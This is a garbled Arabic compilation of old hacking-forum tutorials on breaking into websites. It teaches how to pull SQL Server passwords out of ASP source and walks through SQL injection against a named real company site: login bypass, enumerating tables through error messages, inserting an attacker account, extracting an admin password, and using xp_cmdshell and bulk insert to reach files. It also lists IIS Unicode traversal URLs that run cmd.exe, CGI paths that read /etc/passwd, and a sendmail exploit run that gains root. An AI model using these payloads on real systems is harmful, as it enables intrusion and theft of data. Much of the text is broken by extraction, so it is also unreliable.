حاتها منتهیة ب  صف حتوي على جداول واغلب المواقع التي تكون  ت ت الاس كیو ال هي عبارة عن قاعد بیانا
ASPحب بیاناتها ت تس حا صف ت SQLمن قاعدة   هي  حا ت ASP وصف  ممكن ان تكون كنز من المعلوما

ت  ق قواعد بیانا خترا حقا ، و SQLلا ر الیه لا ف اشی ت   SQL وهذا ماسو ت على البور   ١٤٣٣تتنص
خبرك به ان ال  ضا ماارید ان ا حتوي SQLای ت ت ت وكل قاعدة بیانا ر من قاعدة بیانا حتوي على اكث  قد ت

  على عدد من الجداول یمكن
ت  حتویها SQLان تتصور كبرقواعد بیانا ت التى ت ر من البیانا   . والعدد الكبی

  
ت  مالذي :س ت قاعدة بیانا خترق    ؟SQLیمكن ان استفید منه اذا ا

ت  حسب نشاط الموقع اذا كان هذا الموقع منتدى لا اقصد منتدیا ت PHPهذا على   في ASP بل منتدیا
ء حصل على جمیع اسما ف ت   الغالب سو

م بها ، اما اذا كا حل ت لم تكن ت حیا ضوع وصلا ف اي مو حذ ر وبامكانك تعدیل و ت الس ن المستخدمین وكلما
حتوي على میزة   الموقع ی

ء شركة للدعایة والاعلان  ت ، عندها قم بانشا خیالیة من الایمیلا حصل على اعداد  ف ت ت فسو راسلا قائمة الم
ف تصبح ثریا اذن لاتنسى    _LinuxRayوسو

ص  ت اشخا ت معلوما ل قواعد بیانا خ خ المیلاد ، - عناوین - ارقام هواتف -توقع ان تجد اي شئ دا  تورای
   .Administratorتصبح ممكن ان 

طویلا  ق مازال  ری طك من جدید فالط ل الان لكن استعد نشا ف انه قد اصابك المل ر   ... اع
  
ت :س خول على قواعد بیانا حتاجة للد    ؟SQL مالذي ت

حتاج فقط لل    Passwd و User Nameت
  
رور ؟:س حصل على اسم المستخدم وكلمة الم    من این ا

حصول على  ق عدیدة لل ر ط ت ال User name and Passwdهناك  حا صف ف   ASP منها كما اسل
ى من نوع  ر خ ت ا ر یمكنsql*.وملفا ت كثی را    هناك ثغ

رور مثل ثغرة  ت الم حصل منها على كلما   htr+.ان ت
ف تستخدم هذه الثغرة    :كی

http//:target/page.asp.+htr   
target : ف   الموقع الهد
Page :  حة   aspصف

.+htr : الثغرة  
حتوي ع ء لات ضا حة بی صف حیانا بفتح  ف هذه الثغرة تقوم ا ر ح ل مالفائدة .... لى اي  ء ف تتسا ف انك سو ر اع

  اذن منها الفائدة هو
ء اذهب الى  ضا حة البی ف هذه الصف رمجة الخاصة ب View Sourceخل ر الب ى اوام ر  التى ASP لكي ت
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ضع العادي    مثل: لایمكن لك ان تراها في الو
  
>%  

Set DB =Server.CreateObject")ADODB.Connection("  
DB.Open "DRIVER=SQL 

Server;SERVER=xxx;UID=sa;PWD=PPA؛=Microsoft )R (Developer 
Studio;WSID=xxx;DATABASE=moe_dbs" ،"yaRxuniL_" ،"٦٦٦٦٦٦٦"  

  
  
%<  

-----------------------------------------------------------------  
ى ان اسم المستخدم هو  ر ق ت   _yaRxuniLفي الكود الساب

ر هي    ٦٦٦٦٦٦٦وكلمة الس
-----------------------------------------------------------------  

حة ال  صف خطأ في  حیانا اذا كان هناك  حك انه ا ض   : مثل الاتي ASPالشئ الم
  

AMicrosoft VBScript runtime error '٨٠٠a٠١a٨'  
  

Object required :'nnoC'  
  
/filename.inc, line ٥  

  
ف ینتهي بامتدا حتوي على اسم inc*.د هناك مل ر یتم تنفیذها من جانب الملقم وی حتوي على اوام ف ی  هذا مل
رور   المستخدم وكلمة الم

ف في عنوان الموقع  ضافة اسم المل ف وذلك با حب هذا المل ر قم بس   .اذن ماذا تنتظ
  
  

حة  صف ر في  ى مثل هذا الام ر   ASPوممكن ان ت
رم ر الب ق الثغرة علیها هذا یعني ان اوام ف عند تطبی ل مل خ   database.incجة دا

  
>!-- elif edulcni#" =database.inc"--<  
  
  

ت رور مثل ملفا حتوي على كلمة الم ت ت   وهناك عدة ملفا
  

global.asa  
++global.asa  

beforemilion-global.asa  
-global.asa  

milion.sql  
global-direct.asa  
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ء لكن هذا ت بهذه الاسما رورة ان تكون الملفا س من الض رمجین لی   SQL هو المعتاد علیه من قبل مب
  

حة مثل الاتي    :وكل ماعلیك فعله ان تكتب اسم الصف
  

global.asa.+htr  
  

حة ٣ IISهناك ثغرة قدیمة في  صف ف بعد  رمز ASP وهي ان تضی    كما یلي$atad:: هذا ال
file.asp::atad$  

ل الا على  ر  فلا تتعب نفسك بتطبیقها فقط للع٣ IISهذه الثغرة لاتعم م لا اكث   .ل
  
  

رور ؟؟... لقد اقتربنا من النهایة  حصول على اسم المستخدم وكلمة الم   ماذا بعد ال
  

خول على قاعدة ال     !!SQLبعدها الد
  

ت انا استخدم  ل على قاعدة البینا خ ج تد رام ت افضل ٦٫٠ Visual interdevهناك عدة ب  لكني مازل
ج السهل  رنام   ٢٠٠٠ ACCESSاستخدام الب

  
رنامح الذهاب الى قائمةكل ما علی   ك فعله هو فتح الب

File  
ختر   ا

New  
ختار ت الجدیدة ا   ومن قائمة الملفا

Project )Exiting Data(  
ت موجودة  روع قاعدة بیانا   .اي مش
ختر ف ا ء المل ربع لانشا ر لك م   سیظه

Create  
ء   اي انشا

ربع ى م   الان ستر
Data Link Properties  

  
ت اسم الم ث معلوما حتاج فقط لثلا رور- اسم المستخدم -وقع او الاي بي ت    كلمة الم

  
ق - ١ صندو ل اسم الموقع في  خ   Select or enter server name اد
  
  User Name اسم المستخدم في - ٢
  
ر - ٣   Password كلمة الس
  

حظة  ربع ( ملا   )Blank Passwordقم بإزالة الصح من م
  

ضغط في البدایة على  خTest Connectionا ت هذه  في الاسفل لا ت اذا رأی ل بقاعدة البیانا تبار الاتصا
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  Test Connection Succeededالعبارة 
ح ت تم بنجا ل بقاعدة البیانا   .فمعناه ان الاتصا

خول الیها من القائمة المسندلة  ت ترید الد   :یمكنك الان ان تختار اي قاعدة بیانا
Select the data base on the server  

ضغط على  ق OKوا   ... او مواف
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  "SQLدرس مفصل عن الـ" 
  

$$$$$$$$$$$$$  
   hish_hish: الكاتب

$$$$$$$$$$$$$  

ت دینامیكیه حا صف ت غالبیة المواقع لإستخدام  حن موجودین فیه  أتجه  :)ومنها ما ن
ت ر من المعلوما ت فیها كم كبی  , وتستخدم قواعد بیانا

ح ت مكتوب بإ ق سكرب ری ط ت الویب الدینامیكیهوعن  لASP أو PHP دى لغا جمبا إلى جمب مع  والتي تعم
ت  ت قواعد البیانا ركا ح  .م

SQL Server , MySQL,Oracle  
ت المطلوبه وترك البقیه یتم ص المعلوما   أستخلا

ت من المستخدم ومن ثم خذ معلوما ج ویستخدم بعضها في تكون حیث تأ ر الـ تعال ص  SQL أوام لیتم أستخلا
ء ت أو التأكد منالبیانا ت لبنا خلا ض المد حة بع حة المطلوبه أو قبول المستخدم أو رفضه ص  دائما یتم الصف

ل لا ل عم ت التي تخولك بعم حا رور في الصف حب الموقع  یقوم به إلا من طلب أسم مستخدم وكلمة م صا قام 
حیه للقیام بها ضوعي  بإعطائه الصلا ف مو حذ  )):))في القائمه  أو تثبیته:) كأن یقوم ب

ت وأن رور المعطاه مطابقه لتلك الموجوده  حیث یتم التأكد من وجود أسم المستخدم في قاعدة البیانا كلمة الم
خذ بجانب أسم المستخدم ر الـ حیث یتم أ الذي یقوم بالتأكد من وجودها  SQL معلومه وتضمینها في أم

حیتها ق المستخدم لل ولكن یجب وصلا ت یقوم بتوثی حذر عند كتابة سكرب خول ال تأكد من أنه مخول له بالد
حه حمیه أم لا للصف خلوها من أي الم م المستقبله من المستخدم و رموز من شأنها  وذلك بالتأكد من نظافة القی

ر الـ طئ SQL أن تجعل أم ح خا ر مسمو ر غی  به في بنائه أو القیام بأي أم
 

م الآن عن ما یسمى   SQL injection سنتكل
ت ضعف في كتابة سكرب ربه حیث أنه  ضا بوجود موقع للتج ق وأی  التوثی

ت السعودیه   وهو موقع شركة الإتصالا
 sa.com.stc.www://http/ الموقع عنوان

رئیسیه نجد رابط حة ال خول للصف ت في السعودیه عند الد خدمة أنترن ص بمقدمي   یخت
 asp?pagenum.ar_frame/scripts/arabic/sa.com.stc.www://http=25 وهو
رور  عند خوله فأنه یطلب منك أسم مستخدم وكلمة م  !!!!د

حاله هذه أول ما  SQL injection یتبادر لنا هو الـ دائما في ال
ربة   نقوم بتج
 ': دم أسم مستخ
رور  ' : وكلمة م

حصل على الخطأ التالي   فن

   :اقتباس

  

 
Microsoft OLE DB Provider for ODBC Drivers error 
'80040e14'  
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[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed 
quotation mark before the character string '' '.  
/arabic/Scripts/ar_csd_reply.asp, line 33  

  

 
ر الخطا التالي ت یظه حالا ض ال   وفي بع

   :اقتباس

  

 
Microsoft OLE DB Provider for ODBC Drivers error 
'80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed 
quotation mark 
before the character string ''' AND Password=''. 
/admin/admin.asp, line 13 

  

 
ر الـ ء من أم حصلنا على جز حد SQL وفي الخطأ هذا  ضا أسم أ  الأعمده في الجدول وأی

 
ل حیة أسم المستخدم وكلمة  المستخدمه SQL Query للـ inject وهو ما یؤكد أمكانیة عم صلا ق  حق للت

خله  رور المد  .الم
م عن الـ ل SQL injection إذن لنتكل ء من التفصی  بشي

حیة اسملو كان لدینا  صلا ت یقوم بالتأكد من  خله من المستخدم قأننا  سكرب رور المد المستخدم وكلمة الم
ریقة ق منها بالط حق   التالیه سنت

code:  
  

  
SELECT * from Users WHERE User_Name='<field from web 
form>' AND Password='<field from web form>' 
if( TRUE ){ 
       Login OK 
   } 
else { 
  Login FAILD 
 } 
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ح لهم حد المسمو ق نفسه قبل أن یسمح له عند قیام أ حمیه فأنه یقوم بكل تأكید بتوثی حة الم خول للصف  بالد

خول  بالد
رور الخاصه به ل أسم المستخدم وكلمة الم خا   فعند قیامه بأد

 admin : المستخدم أسم
رور  t0ps3cr3t : كلمة الم

ر الـ   :التالي  سیصبح بالشكل SQL فإن شكل ام
code:  

  
  

SELECT * from Users WHERE Users_Name='admin' AND 
Password='t0ps3cr3t' 

  
 

ر في جدول رط وهو أن یكون اسم المستخدم User وعند وجود سط ق فیه الش حق رور admin ت  وكلمة الم
t0ps3cr3t  

ع قیمة فأن ر سیقوم بإرجا خول  TRUE الأم  .أي أن المستخدم مخول بالد
ر ذ عغی خول FALSE لك سیتم إرجا ض الد  وسیتم رف

 
حظه  ل من المعرفه: ملا ر الـ یجب أن یكون لدیك ولو القلی  . SQL بأوام

<field from web form> خله المستخدم في حلها ما أد ل م ح حیته ی صلا ق من  حق حة الت  صف
ل  خا ربتنا عندما قمنا بإد ر الـ كإسم مستخدم وبالمثل' في تج رور فأن أم أصبح بالشكل التالي  SQL لكلمة الم

:  
code:  

  
  

SELECT * from Users WHERE User_Name=' ' ' AND 
Password=' ' ' 

  
 

ق علامة حظ أننا قمنا بإغلا ق بعد ونلا ص لم تغل ص الأولى وبقي علامة تنصی   التنصی
 !! وهو ما أدى لظهور رسالة الخطأ

 
ربة اٍم مستخدم  blah' OR '1'='1 : الأن نقوم بتج

رور ا لكلمةومثله  .الم
ر الـ   SQL فیصبح شكل أم

code:  
  

  
SELECT * from Users WHERE User_Name='blah' OR '1'='1' 
AND Password='blah' OR '1'='1' 
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ء على ر كل جز ل الأم حل  حدا لن

SELECT * from Users 
ختر جمیع السطور من الجدول  Users تعني أ

WHERE User_Name='blah' OR '1'='1' AND Password='blah' OR '1'='1' 
ء نقوم روط في هذا الجز ق فیه الش حق ختیاره وهو الذي تت ر الذي سنقوم بإ حدید السط  بت

'blah' OR '1'='1' 
ت شرط OR هنا بوجود ح  لم تصبح قیمة نصیه ولكن أصب

حیح إذا ص رط  حیح یصبح الش ص رط  ف المشتركه في الش را حد على الأقل من الأط ف وا ر ط  كان 
حالتن فوفي  ر  'blah' الأول هو ا فإن الط

ر عن قیمة صددها الان یعب ل لسنا في  ض في تفاصی حه وهو بدون الخو حی  TRUE ص
ر هو  خ ف الأ ر  '١'='١'والط

ت   !!!!أم لا  ١ مساویه لـ ١یمكنك الإجابة عن إذا كان
حلیله هو رط بعد ت  TRUE OR TRUE إذا سیكون شكل الش

رط هي وبالتالي فإن  TRUE النتیجه النهائیه للش
رور ث لكلمة الم حد ل ت س التفاصی  ونف

حظه مهمه ت مساویه للكلمه TRUE القیمه: جداُ ملا رط لیس حصلها من الش التي نكتبها  TRUE التي ن
حة المفاتیح الخاصه بنا على  لو

حاول إستخدام أسم مستخدم رور TRUE لذلك لا ت  SQL injection لإتمام الـ TRUE وكلمة م
 

خ ق سیقوم بأ رط الساب ر منالش حتویاته في مصفوفه Users الجدول تیار أول سط رجع م   وی
ت ستجد أنك قد حالا ض ال حمیه وبالتالي في بع حة الم خول للصف ت الد   أستطع

ى لا ر خ ت أ حالا  ولكن في 
ل ل التفاصی  ..... لنكم

ر الـ رط في أم ء WHERE وهو ما یأتي بعد SQL یجب التنبه لأنه ربما یكون الش ق من عدة أشیا حق   یت
ر  (two dashes) -- ك نستخدملذل ل بقیة السط خلاناه قبل  حیث، لیتم إهما ضه عن ما أد یمكننا الإستعا

ت التالیه خلا ل بالمد  قلی
 --'blah' OR '1'='1 : أسم مستخدم

رور  رور( وكذلك كلمة الم ل كتابة كلمة م ت یمكنك إهما حالا ض ال  ستهملها لأنها تأتي بعد اسم --لأن  في بع
ر  SQL  الـالمستخدم في أم

 
ء الأعمده حد أسما حتاج لتخمین أ حیث أنك لن ت ضمونه ب حه جدا وم ری ریقه م ط  توجد 

 having clause أستخدام وهي
ریقه التالیه  بالط
 'having 1=1-- أسم مستخدم

خطأ كالتالیه حیث حصل على رسالة   سن
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'  

 
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 

'cs_isp_user.UserID' is invalid in the select list because it is not 
contained in an aggregate function and there is no GROUP BY clause.  
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/Arabic/Scripts/ar_csd_reply.asp, line 33  
ضا أسم  مودأول ع وبها أسم الجدول وأی

ء بقیة الأعمده حصول على اسما  بعدها لنستطیع ال
 group by سنستخدم

 بالشكل التالي
--group by cs_isp_user.UserID' 

حصل على عمود  passwd أسمه بعدها سن
حصول على اسم العمود اللي یلیه بالشكل التالي  فنستخدمه لل

--group by cs_isp_user.UserID,cs_isp_user.passwd' 
طئ  ادة أسم كل جدول مع العمودونكرر زی خا رنا بأن أسم المستخدم  حة تخب صف حصل على   !إلى أن ن

  
حتاج الأن أن ء الأعمده في هذا الجدول ن ر قدر ممكن من أسما  نقوم بجمع أكب

ل التالي خا  : نقوم بإد
 --blah' group by (username) : أسم مستخدم

حصل على الخطأ التالي    :فن

   :اقتباس

  

 
Microsoft OLE DB Provider for ODBC Drivers error 
'80040e14'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid 
column name 'username'.  
/arabic/Scripts/ar_csd_reply.asp, line 33 

  

 
 username وهو ما یفید بأنه لا یوجد عمود في هذا الجدول له الأسم

ربه الأسم ء الشائعه مثلنقوم بتج  password ,username,id,userid,email ا
,first_name 
ربتنا لـ حصل على userid عند تج حث عنه فأننا ن ر وهو ما نب خ    خطأ أ

   :اقتباس

  

 
Microsoft OLE DB Provider for ODBC Drivers error 
'80040e14'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 
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'cs_isp_user.passwd' is invalid in the select list because it is 
not contained in either an aggregate function or the GROUP 
BY clause.  
/arabic/Scripts/ar_csd_reply.asp, line 33 

  

 
حصلنا على معلومتین وهي أسم الجدول وهو  cs_isp_user هنا 

ضا حد الأعمده وهو وأی  passwd أسم أ
ق ولكن بإستخدام اسم ل الساب  العمود الجدید نقوم الان بتكرار العم

ل أسم المستخدم التالي خا  --blah' group by (passwd) : فنقوم بإد
حصل على الخطأ التالي    :فن

   :اقتباس

  

 
Microsoft OLE DB Provider for ODBC Drivers error 
'80040e14'  
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 
'cs_isp_user.UserID' is invalid in the select list because it is 
not contained in either an aggregate function or the GROUP 
BY clause.  
/arabic/Scripts/ar_csd_reply.asp, line 33 

  

 
 userid خمینه وهووهو نفسه ما قمنا بت UserID حصلنا على أسم عمود وهو

ف  MS SQL Server تجدر الإشاره إلى أن ر ح حالة الأ حساس ل س   :)لی
حظ ء الجداول نلا حصل إلا على أسما ر منتهیه ولا ن حلقه غی  passwd و UserID أننا سنكون في 

حصلنا علیها حوي إلا على عمودین وهي التي   إذن الجدول لا ی
ل مستخدم جدید  إذن في خا حاله هذه نقوم بأد طبیعي منال خول بشكل  حه  للجدول وبعدها نقوم بالد الصف

خول  ل الد  :)الخاصه بتسجی
خانة أسم المستخدم   blah' INSERT INTO :سنقوم بكتابة التالي في 

cs_isp_user(UserID,passwd 
) VALUES('M_3','hi')-- 

ضافة مستخدم جدید له أسم مستخدم حیث رور M_3 سیتم إ  hi وكلمة م
خولوبعدها تستطیع ا خول لد ت على أنك مخول له بالد حمیه بهذه البیانا حة الم  للصف

 
ت شركة(في مثالنا  ل) الإتصالا حدیث عن inject أنتهینا من استغلال أمكانیة عم ل ال ریقه  لها ولكننا سنكم ط
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خول رورهم وبعدها تستطیع الد ت م ء المستخدمین وكلما بأي منها دون  ممتعه لكي نستطبع قرائة اسما
ضافة نفسك  إ

ص حول وجود لشخ ر الذي لن یضع شكوك   مشبوه وهو الأم
ر له الأسم خ ضافة عمود أ ل ما بدأناه ولكن بإ ر أنه رقم( مستخدم  وهو رقم تسلسلي لكل id سنكم  )تذك

 user إذن لدینا جدول أسمه
حوي الاعمده التالیه   ی

id حیح ص  وهو رقم 
username  حوي أرق( وهو قیمة نصیه م النصیه یمكن أن ت ل )امالقی  admin1 مثا

passwd ضا قیمه نصیه  وهي أی
 

ل حویلها إلى قیمة عددیه  لقیمه نصیه union نجرب عم خطأ ( وت ل ولكنه سیخرج رساله  حوی لن یتم الت
 )جدا ثمینه

ل اسم المستخدم خ  blah' union SELECT username FROM user : ند
حصل على ء و سن خطأ لا تفیدنا في شي   رسالة 
   رسالة الخطأ هي

   :اقتباس

  

 
Microsoft OLE DB Provider for ODBC Drivers error 
'80040e14'  
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries 
in an SQL statement containing a UNION operator must have 
an equal number of expressions in their target lists.  
/admin/admin.asp, line 13 

  

 
حد فتصبح بالشكل التالي id نقوم بزیادة ره وا  م

blah' union SELECT username,username FROM user 
س رسالة الخطأ حصل على نف  فن

خطأ مختلفه نتابع الزیاده حصل على رسالة    إلى أن ن
حصلنا على رسالة الخطأ الجدیده ض أننا  ل اسم المستخدم التالي لنفتر خا  عند أد

blah' union SELECT username,username,usernam 
e,username,username FROM user 

حصل على رسالة   الخطأ التالیه فن
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   :اقتباس

  

 
Microsoft OLE DB Provider for ODBC Drivers error 
'80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax 
error converting the 
varchar value 'Lame_Admin' to a column of data type int. 
/admin/admin.asp, line 13 

  

 
 حصلنا على أول أسم مستخدم وهو عادةً ما یكون للأدمن (:

رك وسبب ح ل قیمة نصیه  SQL ظهور هذا الخطأ هو لأننا نطلب من م حوی  وهي(أن یقوم بت
Lame_Admin) حه حی ص  (int )إلى قیمة عددیه 

ح وهو  ر مسمو ء الغی ل لذلك یقوم، الشي حوی خبارك أنه لا یستطیع ت إلى قیمة عددیه  Lame_Admin بأ
حه  حی ت:) ص  :)بعمله  microsoft هذا أذكى شي قام

حصول على كلمة حاول ال حصلنا على أسم المستخدم وسن رور الان   الم
ل أسم المستخدم التالي خ  blah' union SELECT passwd,passwd,passwd,pass: ند

wd,passwd FROM user 
حصولنا ق عند  س العدد الساب  على أسم المستخدم بنف

حصل على هذا الخطأ   سن

   :اقتباس

  

 
Microsoft OLE DB Provider for ODBC Drivers error 
'80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax 
error converting the 
varchar value 'stupid' to a column of data type int. 
/admin/admin.asp, line 13 

  

 
حة خول للصف ل الد رور ویمكننا تسجی حمیه بدون وجود أي أثر لنا حصلنا على أسم المستخدم وكلمة الم  الم

خول لها تقوم حمیه عند الد حه الم ت الصف ض  إلا إذا كان ر شخ خ ت مثل رقم الایبي لأ ض المعلوما بطباعة بع
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 هذا خول بإسم المستخدمقام بالد
ر بما ستقوم به بنفسك   عندها فك

  
م عن الـ   Stored Procedure بقي أتكل

ت موجوده مسبقا وهي كتشبیه أقرب طلبها Built-in إلى أدوا حدد عند  ل م  تقوم بعم
 

ل على المستخدم SQL Server إذا كان الـ Stored Procedure الإستفاده من الـ ستستطیع  یعم
sa 

ل علیه الـأو إذا كا ح له SQL Server ن المستخدم الذي یعم  باٍستخدامها تم السما
 

حصولك على حظوظ عند  ت م ت SQL Server لذلك فأن   بهذه الأمكانیا
 

ر من    Stored Procedure ١٠٠یوجد أكث
 أهمها في الجدول التالي

+---------------------------+-----------------------------------------------------------------------
-------+ 

| xp_cmdshell----------|  ل ر لنظام التشغی ر أم ری ت( تم حیا صلا حسب  ----)المستخدم یتم تنفیذه على 
---| 

| xp_regread-----------| ح في ءة قیمة مفتا ریجستري قرا ---------------------------------------ال
-----| 

| xp_regdeletekey----| ریجستري ح من ال ف مفتا --------------------------------------------حذ
-----| 

| xp_regdeletevalue-| ح من ف قیمة مفتا ریجستري حذ ----------------------------------------ال
----| 

| xp_regwrite ----------| ریجستري للكتابة في -------------------------------------------------ال
------| 

| xp_servicecontrol--| خدمة على ء  ر لبدأ أو أنها رف ----------------------------------------السی
----| 

+----------------------------+----------------------------------------------------------------------
-------+ 

 
 
  
  
ریقة الإستفاده من أي من  أما  فهي بالشكل التالي Procedure هذه الـط

'exec master..xp_cmdshell 'dir 
 
  

ریقة أستخدام ل لط  مثله والبقیه xp_cmdshell هذا مثا
ریجستري فهو بالشكل التالي  عدا الكتابة في ال

'exec master..xp_regwrite 'REGISTERY KEY' VALUE 
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ءة كود مل ضا بقي الإشاره إلى أنه بأمكانك قرا تأی ضافة جدول  asp فا ق إ ری ط ل علیها الموقع عن  التي یعم
حة صف خ كود  ضعه asp جدید ومن ثم نس   وو

 
  

ریقة التالیه  في هذا الجدول بالط
((CREAT TABLE M_3 ( source varchar(8000 

ء الجدول وأسم الجدول ر یقوم ببنا حد من M_3 هذا السط خله عمود وا حجمه  varchar النوع وبدا
ت٨٠٠٠   بای

  
رفربع ف على السی ضافة أي مل  إلى هذا الجدول ومن ثم قرائته بالشكل التالي د ذلك بأمكانك الان إ

'bulk insert M_3 from 'c:\InetPub\wwwroot\login 
.asp 

 
ل ق رسائ ری ط ق ولقرائة ما تم نسخه یمكنك ذلك عن  ضوع الساب  الخطأ اللي تكلمنا عنها في المو

ل خطأ بها ما تم نسخه یدحیث یتم تول union أسهلها هو عم   ....رسالة 
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 "درس لإحتراف الهاك في اختراق المواقع " 
  

$$$$$$$$$$  
  CONIK :الكاتب

$$$$$$$$$$  
 
ت وما معناها ؟؟-:س را   ماهي الثغ
ضعف أمنى یساعدك-:جـ ت هى  را ریقة المس  الثغ ضا الط ختراقه وقد تكون أی خول نظام معین وأ   اعدةفى د
 

حول من التى تخلیك ف وتتضمن  administrator الى user تت ر المتصر یعنى من مستخدم الى المدی
ت الامنیه الجدیدة وأستثمارها علشان لا یتنبه ویجب را حاب المواقع بیها على الدوام معرفة الثغ   أص

ل  )یتم تقفلیها ( یرقعوها  ف  وأقرب مثا ت الضعف الأمني الذى أكتش را ر لهذه الثغ رف في الاباتشى وهو سی
س ركب على نظام لیونك ر ثغرة ومن الممكن ی ء الموقع تعتب ج أو قاعده بنا رام حد الب ضعف فى أ  وأى 
حكم في   استخدامها والأستفاده ختراقه والت راد أ ق الموقع الم خترا ت  منها في أ الموقع ومشاهدة الباسوردا

ریقها ط   وكل ما ترید عن 
 
ف انا-:٢س طیب كی ر ال   ره اذا انا لقیتها ؟؟؟استثم  ثغ
ت-:جـ ت كان را ت ما أكتشفوا الثغ ت تكون سكربتاتها مكتوبه بالغه% ٩٩نسبة   من وق را وانته  C من الثغ

حتاج لمعرفة هذه اللغه حویلها  أو ت  .علیك ت
 

حتاج الى ت ی را ره أو بمعنى  shell كما أن هناك العدید من الثغ حتى انته تتمكن من الأستفاده من هذه الثغ
ر الضعفأ ل خ ت الموجوده فى وعلى سبی را ض الثغ ل بع حتاج الى PHP المثا  ومن هذه Shell PHP ت

 .الكلام
ت الخاصة   وعلى فكرة الضعف یكون في الاصدارا

ره من نوع وكمان في س Kernel 2.2.x ثغ ل لیونك رة في نظام تشغی   ولكن هذه الم
 
ت التى تكون باللغة( را حظه هذه الثغ ت C ملا ت  وهناك)  توجوده فى الموقع تكون سیكربتا ضا سیكربتا أی

ى مكتوبة باللغه ر خ حالة تكون انته perl أ حك  ولازم فى هذه ال ر وأنا أنص س علشان الاوام ركب لوینك م
 linux Redhat 7.3 تركب

رید لأنه أفضل ر انه الأخ بلاك هانتر لمن انا سألته أركب الماندریك ولا ال ل لى انه  من الماندریك وأذك ت قا ها
صورة مبسطه  الماندریك 

ر قابله للتطور س غی ت ب رید ها ضوع لل رجع للمو حة ن ر على هذه النصی خی ت أقوى وجزاة االله  ریدها   وأنه ال
 
ل ؟؟ -:٣س ر حول لغه البی ف أ  كی
ر عادیة في البدایة-:جـ ره سهله كلها اوام ریقة م ر  الط   انته سوى هذه الأم
 

./file.pl 
رسالة   تعطیك هذه ال

Access Denied---- ضح عدم الموافقه رسالة تو  هذه ال
صار لك كذا ك ر هذه علیك سوى كتال ما أذا    بته الام

 
chmod +x Conik.pl----- حظ مكان كونیك انته تكتب أسم ف لا   المل
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ح تكون زى كذا ف النتجیه را ره ثانیة وشو   وشغلة م

$ ./Conik.pl 
 
طیب بالنسبة للغة-:٤س   C؟ 
ف لا-:جـ حویل المل ر زم علشان ت ف تنفیذى بهذه الام ف یكون مل  انته تخلى المل
 

gcc -o Conik Conik.c ------> رة راد تغی ف بدال أسمى كونیك الم حظ انه انته تكتب أسم المل   لا
 

ل  ل المثا  -:یعنى على سبی
 

gcc -o Conik conik.c 
 

ح ر ورا ف جاهز بعد هذه الام  یكون المل
 

./Conik.c 
 

ف جاهز   وبعد ماصار المل
$ gcc -o sendmail sendmail.c 

$ ./sendemail  
 

Usage : sendmail <host> <OS> <user> <password> 
$ ./sendmail smtp.israel.com RedHat-7.3 anonymous anonymous -----> 

حظ انك انته تكتب هنا  israel الموقع الى تبغاه مكان لا
connecting to host... 

connected... 
id 

uid=0(root) gid=0(root) 
 

طلب حظ انه  ج لا رنام ل والیوزر والباسورد Sendemail ممنا الملقم للب طلب نظام التشغی   وكمان 
ج أعطانا أمتیاز رنام ج بتنفیذ Root وبعد هذه كله الب رنام  Exan noferال ـبسبب قیام الب

ج رنام ت الب حطی حظة لا تضن أنه لمن انا  حطی بدون XXX. SENDMAIL ملا ت لك هذه اى سبب أنا 
ج رنام ره فى هذه الب ل لآنه هناك ثغ حها المثا ح أشر حفظ الأسم هذه  ورا س كان بدى ت ء االله تعالى ب  لك أن شا

 
حنا ضوع زایدة عن اللزوم الظاهر انه ن   أتوغلنا فى المو

  
ت-:٥س س بطل ره ب م  یا االله كل هذه علشان ثغ  ؟ أنا ما أبغا اتعل
ریقة ا -:جـ حبیب البى هذه الط حلوة وسهله جدا جدا لمعقده شویةلووووول  ت ثانیة  را ت في ثغ را  للثغ
 
ل یا-:٦س ش هي قو  ل وكمان لغه Conik  أی ریقة یبغالها نظام تشغی ى هذه الط ر  ؟Perl و C ت
ت تستخدم من -:جـ را ف م في تغ ر المتصفح وتوصل الى علخلال المتصفح یعنى انته تشو ت الموقع عب وما

ت ف الباسوردا ریقه مل  من هذه الط
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ت را ل على هذه الثغ  PHP - CGI - UNICODE - VB - etc ومثا

 
ف UNICODE  اوووووة-:٧س ر ف شكلها وأع ف كی ر نفسى اشو ت عنها كثی ش هى ؟؟؟ أنا سمع  وی
حبیبى-:جـ   UNICODE ضعف في نظام ق  Microsoft في IIS هى عبارة عن  خترا مما تساعد في أ

ق سه ر ق بهذه الط خترا   ل جداالموقع بكل سهوله عموما الا
 

ت را ضع أمثله على ثغ ف أ ق السابقة التى تم ذكرها من قبل وسو ر  -: UONICODE مقارنة بالط
 

/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%
35%63../winnt/system32/cmd.exe?/c+dir+c:\ 

 
/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe

?/c+dir+c:\ 
 

/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32
/cmd.exe?/c+dir+c:\ 

 
/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/syste

m32/cmd.exe?/c+dir+c:\ 
 

/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ 
 

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+di
r+c:\ 

 
/cgi-

bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd
.exe?/c+dir+c:\ 

 
ت ع انى أشكل فى أنواع حاول  UONICODE قد المستطا

 
ت الـ را ل علیها CGI أما بالنسبة الى ثغ   هذه مثا

 
/cgi-bin/view-source?../../../../../../../etc/passwd 

 
/cgi-bin/phf 

 
/cgi-bin/wwwboard.pl 

 
/cgi-bin/AT-admin.cgi 
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/cgi-bin/info2www 
 

/cgi-bin/environ.cgi 
 
ت لكوباقى هذه را ح أقسم الثغ ت ورا را ر على هذه الثغ ت یعنى لا یقتصر الأم را حسب نظام   العدید من الثغ ب

ل   التشغی
 

NT : Uni code , bofferoverfollow , tftp  
 

Liunx : Get Access , CGI , buffer overfollow , PHP , send mail , 
ProFTPD, WU-FTPD, Kernel Exploits, rootkits,  

 
 

UNIX : Get Access , CGI , buffer overfollow , PHP , send mail , Kernel 
